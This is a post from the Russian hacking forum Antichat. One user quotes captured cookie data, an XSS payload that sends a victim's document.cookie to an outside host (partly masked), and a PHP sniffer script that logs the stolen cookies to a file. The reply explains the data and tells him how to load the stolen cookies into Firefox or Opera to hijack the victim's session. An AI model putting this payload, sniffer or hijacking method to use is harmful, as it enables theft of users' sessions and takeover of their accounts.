ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от kiddie

Подскажите, на снифер приходят такого рода данные
com=iua=1;%20b=b;%20iua=1;%20b=b;%20holder=1;%20UH =25a4c4a69cc7f;%20I=24c6983d0fe73223;%20L=1.11
благодаря xss на уязвимом сайте , тобиш тело письма такое

Код HTML:

<script>document.location.replace('http://*****.t35.com/script.php?com='+document.cookie);</script>

код снифа :

PHP код:


		
			
<?  $query = $_SERVER;  $query .= "\n";  $db="cookies.txt";  $fh=fopen ($db, "a+");  fputs ($fh, "$query");  fclose ($fh);  ?>

что обозначают полученные данные, тоесть что приходит...?

это мой друг к тебе пришли куки (Ку́ки (слово не склоняется; от англ. cookie — печенье) — небольшой фрагмент данных, созданный веб-сервером и хранимый на компьютере пользователя в виде файла, который веб-клиент (обычно веб-браузер) каждый раз пересылает веб-серверу в HTTP-запросе при попытке открыть страницу соответствующего сайта. © ru.wikipedia.org)
Теперь твоя задача, подменить на полученные данные, свои. А сделать это можно следующим образом:

Mozilla Firefox - при помощи плагина: Add N Edit Cookies
Opera - следующей манипуляцией: "Инструменты -> Дополнительно -> Управление cookies..."